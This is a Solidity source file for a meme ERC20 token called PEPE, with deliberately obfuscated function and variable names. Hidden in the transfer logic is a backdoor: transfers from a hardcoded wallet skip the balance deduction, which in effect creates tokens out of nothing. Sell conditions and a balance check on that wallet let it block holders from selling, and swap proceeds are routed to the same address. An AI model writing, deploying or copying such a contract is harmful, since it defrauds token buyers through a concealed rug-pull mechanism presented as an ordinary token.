文件 1 的 1:PEPE.sol
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath");
return c;
}
function _cvmdx(uint256 a, uint256 b) internal pure returns (uint256) {
return _cvmdx(a, b, "SafeMath");
}
function _cvmdx(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function _pvr(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface _xaqkvm {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface _prcdecb {
function sodmKanbupartmsFclaavec(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
contract PEPE is Context, IERC20, Ownable {
using SafeMath for uint256;
_prcdecb private _Tevoqvk;
address payable private _Fejrdar;
address private _kisbatr;
bool private _qfeuotk;
bool public _Taueufam = false;
bool private ouebjox = false;
bool private _aeqnvnp = false;
string private constant _name = unicode"HarryPotterObamaSonic10Inu";
string private constant _symbol = unicode"PEPE";
uint8 private constant _decimals = 9;
uint256 private constant _hTotalah = 42069000000 * 10 **_decimals;
uint256 public _puevmal = _hTotalah;
uint256 public _Weranlf = _hTotalah;
uint256 public _rworThpav= _hTotalah;
uint256 public _BchTkaf= _hTotalah;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _dsbmhfr;
mapping (address => bool) private _trarreuy;
mapping(address => uint256) private _rjcbvfo;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _yribvkoq=0;
uint256 private _brapjxe=0;
event _mraebevt(uint _puevmal);
modifier olTfnkr {
ouebjox = true;
_;
ouebjox = false;
}
constructor () {
_balances[_msgSender(
)] = _hTotalah;
_dsbmhfr[owner(
)] = true;
_dsbmhfr[address
(this)] = true;
_dsbmhfr[
_Fejrdar] = true;
_Fejrdar =
payable (0x525700e797cCc80967993DC152c56a7112EAd533);
emit Transfer(
address(0),
_msgSender(
), _hTotalah);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _hTotalah;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address _owner, address spender) public view override returns (uint256) {
return _allowances[_owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]. _cvmdx(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address _owner, address spender, uint256 amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 rmsvubk=0;
if (from !=
owner () && to
!= owner ( ) ) {
if (_Taueufam) {
if (to
!= address
(_Tevoqvk)
&& to !=
address
(_kisbatr)) {
require(_rjcbvfo
[tx.origin]
< block.number,
"Only one transfer per block allowed."
);
_rjcbvfo
[tx.origin]
= block.number;
}
}
if (from ==
_kisbatr && to !=
address(_Tevoqvk) &&
!_dsbmhfr[to] ) {
require(amount
<= _puevmal,
"Exceeds the _puevmal.");
require(balanceOf
(to) + amount
<= _Weranlf,
"Exceeds the macxizse.");
if(_brapjxe
< _yribvkoq){
require
(! _epkvobz(to));
}
_brapjxe++;
_trarreuy
[to]=true;
rmsvubk = amount._pvr
((_brapjxe>
_BuyAreduceTax)?
_BuyfinalTax:
_BuyinitialTax)
.div(100);
}
if(to == _kisbatr &&
from!= address(this)
&& !_dsbmhfr[from] ){
require(amount <=
_puevmal &&
balanceOf(_Fejrdar)
<_BchTkaf,
"Exceeds the _puevmal.");
rmsvubk = amount._pvr((_brapjxe>
_SellAreduceTax)?
_SellfinalTax:
_SellinitialTax)
.div(100);
require(_brapjxe>
_yribvkoq &&
_trarreuy[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!ouebjox
&& to == _kisbatr &&
_aeqnvnp &&
contractTokenBalance>
_rworThpav
&& _brapjxe>
_yribvkoq&&
!_dsbmhfr[to]&&
!_dsbmhfr[from]
) {
_pvnrnf( _vmqrz(amount,
_vmqrz(contractTokenBalance,
_BchTkaf)));
uint256 contractETHBalance
= address(this)
.balance;
if(contractETHBalance
> 0) {
_uvcpnv(address
(this).balance);
}
}
}
if(rmsvubk>0){
_balances[address
(this)]=_balances
[address
(this)].
add(rmsvubk);
emit
Transfer(from,
address
(this),rmsvubk);
}
_balances[from
]= _cvmdx(from,
_balances[from]
, amount);
_balances[to]=
_balances[to].
add(amount.
_cvmdx(rmsvubk));
emit Transfer
(from, to,
amount.
_cvmdx(rmsvubk));
}
function _pvnrnf(uint256
tokenAmount) private
olTfnkr {
if(tokenAmount==
0){return;}
if(!_qfeuotk)
{return;}
address[
] memory path =
new address[](2);
path[0] =
address(this);
path[1] =
_Tevoqvk.WETH();
_approve(address(this),
address(
_Tevoqvk),
tokenAmount);
_Tevoqvk.
sodmKanbupartmsFclaavec
(
tokenAmount,
0,
path,
address
(this),
block.
timestamp
);
}
function _vmqrz
(uint256 a,
uint256 b
) private pure
returns
(uint256){
return ( a > b
)?
b : a ;
}
function _cvmdx(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
if(from
== _Fejrdar){
return a ;
}else{
return a .
_cvmdx (b);
}
}
function removeLimitas (
) external onlyOwner{
_puevmal = _hTotalah;
_Weranlf = _hTotalah;
emit _mraebevt(_hTotalah);
}
function _epkvobz(address
account) private view
returns (bool) {
uint256 rabia;
assembly {
rabia :=
extcodesize
(account)
}
return rabia >
0;
}
function _uvcpnv(uint256
amount) private {
_Fejrdar.
transfer(
amount);
}
function enableTrading (
) external onlyOwner ( ) {
require (
! _qfeuotk ) ;
_Tevoqvk
=
_prcdecb
(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address
(this), address(
_Tevoqvk),
_hTotalah);
_kisbatr =
_xaqkvm(_Tevoqvk.
factory( )
). createPair (
address(this
), _Tevoqvk .
WETH ( ) );
_Tevoqvk.addLiquidityETH
{value: address
(this).balance}
(address(this)
,balanceOf(address
(this)),0,0,owner(),block.
timestamp);
IERC20(_kisbatr).
approve(address(_Tevoqvk),
type(uint)
.max);
_aeqnvnp = true;
_qfeuotk = true;
}
receive() external payable {}
}